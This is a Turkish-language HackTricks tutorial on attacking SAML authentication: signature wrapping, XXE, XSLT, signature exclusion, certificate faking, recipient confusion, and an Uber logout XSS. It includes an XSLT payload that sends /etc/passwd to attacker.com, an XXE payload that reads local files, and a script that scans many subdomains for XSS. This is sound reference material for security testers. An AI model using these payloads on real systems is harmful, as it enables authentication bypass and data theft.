.. | ||
README.md | ||
saml-basics.md |
SAML Saldırıları
SAML Saldırıları
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter'da 🐦 @hacktricks_live** takip edin.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
{% content-ref url="saml-basics.md" %} saml-basics.md {% endcontent-ref %}
Araç
SAMLExtractor: Bir URL veya URL listesi alabilen ve SAML tüketim URL'sini geri yazdıran bir araç.
XML gidiş-dönüş
XML'de, XML'in imzalı kısmı bellekte saklanır, ardından bazı kodlama/şifreleme işlemleri gerçekleştirilir ve imza kontrol edilir. İdeal olarak, bu kodlama/şifreleme veriyi değiştirmemelidir, ancak bu senaryoya dayanarak, kontrol edilen veri ile orijinal veri aynı olmayabilir.
Örneğin, aşağıdaki kodu kontrol edin:
require 'rexml/document'
doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML
puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name
REXML 3.2.4 veya daha önceki bir sürümle programı çalıştırmak, bunun yerine aşağıdaki çıktıyı verecektir:
First child in original doc: Y
First child after round-trip: Z
Bu, REXML'in yukarıdaki programdan orijinal XML belgesini nasıl gördüğüdür:
Ve bu da, bir dizi ayrıştırma ve serileştirme işleminden sonra nasıl gördüğüdür:
Zafiyet ve nasıl istismar edileceği hakkında daha fazla bilgi için:
- https://mattermost.com/blog/securing-xml-implementations-across-the-web/
- https://joonas.fi/2021/08/saml-is-insecure-by-design/
XML İmza Sarma Saldırıları
XML İmza Sarma saldırılarında (XSW), düşmanlar XML belgeleri iki ayrı aşamadan geçirildiğinde ortaya çıkan bir zafiyeti istismar eder: imza doğrulama ve işlev çağrısı. Bu saldırılar, XML belgesinin yapısını değiştirmeyi içerir. Özellikle, saldırgan sahte öğeler enjekte eder ve bu öğeler XML İmzası'nın geçerliliğini tehlikeye atmaz. Bu manipülasyon, uygulama mantığı tarafından analiz edilen öğeler ile imza doğrulama modülü tarafından kontrol edilenler arasında bir tutarsızlık yaratmayı amaçlar. Sonuç olarak, XML İmzası teknik olarak geçerli kalırken ve doğrulamadan geçerken, uygulama mantığı sahte öğeleri işler. Böylece, saldırgan XML İmzası'nın bütünlük korumasını ve kaynak kimlik doğrulamasını etkili bir şekilde atlatır ve rastgele içerik enjekte etme olanağına sahip olur.
Aşağıdaki saldırılar bu blog yazısına ve bu makaleye dayanmaktadır. Daha fazla ayrıntı için bunları kontrol edin.
XSW #1
- Strateji: İmza içeren yeni bir kök öğe eklenir.
- Sonuç: Doğrulayıcı, meşru "Response -> Assertion -> Subject" ile saldırganın "kötü yeni Response -> Assertion -> Subject" arasında karışıklık yaşayabilir, bu da veri bütünlüğü sorunlarına yol açar.
XSW #2
- XSW #1'den Farkı: Sarma imzası yerine ayrık bir imza kullanır.
- Sonuç: XSW #1'e benzer "kötü" yapı, bütünlük kontrolünden sonra iş mantığını yanıltmayı amaçlar.
XSW #3
- Strateji: Kötü bir Assertion, orijinal assertion ile aynı hiyerarşik seviyede oluşturulur.
- Sonuç: İş mantığını kötü niyetli verileri kullanmaya yönlendirmeyi amaçlar.
XSW #4
- XSW #3'ten Farkı: Orijinal Assertion, kopyalanmış (kötü) Assertion'ın çocuğu haline gelir.
- Sonuç: XSW #3'e benzer ancak XML yapısını daha agresif bir şekilde değiştirir.
XSW #5
- Benzersiz Özellik: Ne İmza ne de orijinal Assertion standart yapılandırmalara (sarmalı/saran/ayrık) uyar.
- Sonuç: Kopyalanmış Assertion, İmza'yı sarar ve beklenen belge yapısını değiştirir.
XSW #6
- Strateji: XSW #4 ve #5 ile benzer konum ekleme, ancak bir değişiklikle.
- Sonuç: Kopyalanmış Assertion, İmza'yı sarar, bu da orijinal Assertion'ı sarar ve iç içe geçmiş yanıltıcı bir yapı oluşturur.
XSW #7
- Strateji: Kopyalanmış Assertion'ın çocuk olarak eklendiği bir Extensions öğesi eklenir.
- Sonuç: Bu, Extensions öğesinin daha az kısıtlayıcı şemasını istismar ederek şema doğrulama önlemlerini atlatır, özellikle OpenSAML gibi kütüphanelerde.
XSW #8
- XSW #7'den Farkı: Saldırının bir varyantı için başka bir daha az kısıtlayıcı XML öğesi kullanır.
- Sonuç: Orijinal Assertion, daha az kısıtlayıcı öğenin çocuğu haline gelir ve XSW #7'de kullanılan yapıyı tersine çevirir.
Araç
İsteği ayrıştırmak, seçtiğiniz herhangi bir XSW saldırısını uygulamak ve başlatmak için Burp eklentisi SAML Raider kullanabilirsiniz.
XXE
XXE saldırılarının ne tür saldırılar olduğunu bilmiyorsanız, lütfen aşağıdaki sayfayı okuyun:
{% content-ref url="../xxe-xee-xml-external-entity.md" %} xxe-xee-xml-external-entity.md {% endcontent-ref %}
SAML Yanıtları deflate edilmiş ve base64 kodlanmış XML belgeleridir ve XML Dışsal Varlık (XXE) saldırılarına karşı hassas olabilir. SAML Yanıtının XML yapısını manipüle ederek, saldırganlar XXE zafiyetlerini istismar etmeye çalışabilir. İşte böyle bir saldırının nasıl görselleştirilebileceği:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]
Araçlar
SAML isteğinden POC oluşturmak için olası XXE zafiyetlerini ve SAML zafiyetlerini test etmek amacıyla Burp uzantısı SAML Raider'ı da kullanabilirsiniz.
Ayrıca bu konuşmaya da göz atın: https://www.youtube.com/watch?v=WHn-6xHL7mI
SAML Üzerinden XSLT
XSLT hakkında daha fazla bilgi için:
{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}
Genişletilebilir Stil Sayfası Dili Dönüşümleri (XSLT), XML belgelerini HTML, JSON veya PDF gibi çeşitli formatlara dönüştürmek için kullanılabilir. XSLT dönüşümlerinin dijital imzanın doğrulanmasından önce gerçekleştirildiğini belirtmek önemlidir. Bu, bir saldırının geçerli bir imza olmadan bile başarılı olabileceği anlamına gelir; kendi imzalı veya geçersiz bir imza devam etmek için yeterlidir.
Bu tür zafiyetleri kontrol etmek için bir POC bulabilirsiniz, bu bölümün başında bahsedilen hacktricks sayfasında yükler için de bulabilirsiniz.
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>
Araç
SAML isteğinden POC oluşturmak için olası XSLT zafiyetlerini test etmek üzere Burp uzantısı SAML Raider kullanabilirsiniz.
Ayrıca bu konuşmayı kontrol edin: https://www.youtube.com/watch?v=WHn-6xHL7mI
XML İmza Hariç Tutma
XML İmza Hariç Tutma, İmza öğesinin mevcut olmadığı durumlarda SAML uygulamalarının davranışını gözlemler. Bu öğe eksikse, imza doğrulaması gerçekleşmeyebilir, bu da onu savunmasız hale getirir. Bu durumu, genellikle imza ile doğrulanan içerikleri değiştirerek test etmek mümkündür.
Araç
Burp uzantısı SAML Raider kullanabilirsiniz. SAML Yanıtını yakalayın ve İmzaları Kaldır
butonuna tıklayın. Böylece tüm İmza öğeleri kaldırılır.
İmzalar kaldırıldıktan sonra, isteğin hedefe devam etmesine izin verin. Eğer İmza, Servis tarafından gerekli değilse
Sertifika Sahteciliği
Sertifika Sahteciliği
Sertifika Sahteciliği, bir Hizmet Sağlayıcının (SP), bir SAML Mesajının güvenilir bir Kimlik Sağlayıcı (IdP) tarafından imzalandığını doğru bir şekilde doğrulayıp doğrulamadığını test etme tekniğidir. Bu, SAML Yanıtını veya İddiasını imzalamak için *kendinden imzalı bir sertifika kullanmayı içerir ve bu, SP ile IdP arasındaki güven doğrulama sürecini değerlendirmeye yardımcı olur.
Sertifika Sahteciliği Nasıl Yapılır
Aşağıdaki adımlar, SAML Raider Burp uzantısını kullanarak süreci özetlemektedir:
- SAML Yanıtını yakalayın.
- Yanıt bir imza içeriyorsa, sertifikayı
Sertifikayı SAML Raider Sertifikalarına Gönder
butonunu kullanarak gönderin. - SAML Raider Sertifikalar sekmesinde, içe aktarılan sertifikayı seçin ve kendinden imzalı bir kopya oluşturmak için
Kaydet ve Kendinden İmzala
butonuna tıklayın. - Burp'un Proxy'sinde yakalanan isteğe geri dönün. XML İmza açılır menüsünden yeni kendinden imzalı sertifikayı seçin.
İmzaları Kaldır
butonunu kullanarak mevcut imzaları kaldırın.- Mesajı veya iddiayı yeni sertifika ile
(Yeniden) Mesajı İmzala
veya(Yeniden) İddia İmzala
butonunu kullanarak imzalayın. - İmzalı mesajı iletin. Başarılı bir kimlik doğrulama, SP'nin kendinden imzalı sertifikanızla imzalanmış mesajları kabul ettiğini gösterir ve SAML mesajlarının doğrulama sürecinde potansiyel zafiyetleri ortaya çıkarır.
Token Alıcı Karışıklığı / Hizmet Sağlayıcı Hedef Karışıklığı
Token Alıcı Karışıklığı ve Hizmet Sağlayıcı Hedef Karışıklığı, Hizmet Sağlayıcının bir yanıtın hedef alıcısını doğru bir şekilde doğrulayıp doğrulamadığını kontrol etmeyi içerir. Özünde, bir Hizmet Sağlayıcı, bir başka sağlayıcı için tasarlanmışsa bir kimlik doğrulama yanıtını reddetmelidir. Buradaki kritik unsur, SAML Yanıtının SubjectConfirmationData öğesi içinde bulunan Alıcı alanıdır. Bu alan, İddianın gönderilmesi gereken yeri belirten bir URL'yi belirtir. Eğer gerçek alıcı, hedef Hizmet Sağlayıcı ile eşleşmiyorsa, İddia geçersiz sayılmalıdır.
Nasıl Çalışır
Bir SAML Token Alıcı Karışıklığı (SAML-TRC) saldırısının gerçekleştirilebilmesi için belirli koşulların sağlanması gerekir. Öncelikle, bir Hizmet Sağlayıcıda (SP-Legit olarak adlandırılır) geçerli bir hesap olmalıdır. İkincisi, hedeflenen Hizmet Sağlayıcı (SP-Target), SP-Legit'e hizmet veren aynı Kimlik Sağlayıcıdan token kabul etmelidir.
Bu koşullar altında saldırı süreci basittir. Paylaşılan Kimlik Sağlayıcı aracılığıyla SP-Legit ile geçerli bir oturum başlatılır. Kimlik Sağlayıcıdan SP-Legit'e gelen SAML Yanıtı yakalanır. Bu yakalanan SAML Yanıtı, aslında SP-Legit için tasarlanmışken, SP-Target'a yönlendirilir. Bu saldırıdaki başarı, SP-Target'ın İddia kabul etmesiyle ölçülür ve bu, SP-Legit için kullanılan aynı hesap adı altında kaynaklara erişim sağlar.
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"
Çıkış işlevinde XSS
Orijinal araştırmaya bu bağlantıdan erişilebilir.
Dizin brute forcing sürecinde, şu adreste bir çıkış sayfası keşfedildi:
https://carbon-prototype.uberinternal.com:443/oidauth/logout
Bu bağlantıya erişildiğinde, bir yönlendirme gerçekleşti:
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
Bu, base
parametresinin bir URL kabul ettiğini ortaya koydu. Bunu dikkate alarak, bir XSS (Cross-Site Scripting) saldırısını başlatma girişimiyle URL'yi javascript:alert(123);
ile değiştirme fikri ortaya çıktı.
Kitlesel Sömürü
SAMLExtractor aracı, aynı kütüphaneyi kullanan uberinternal.com
alt alanlarını analiz etmek için kullanıldı. Ardından, oidauth/prompt
sayfasını hedef alan bir script geliştirildi. Bu script, verileri girerek ve çıktıda yansıyıp yansımadığını kontrol ederek XSS (Cross-Site Scripting) testi yapar. Girdi gerçekten yansıyorsa, script sayfayı savunmasız olarak işaretler.
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
Referanslar
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/\
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
- https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.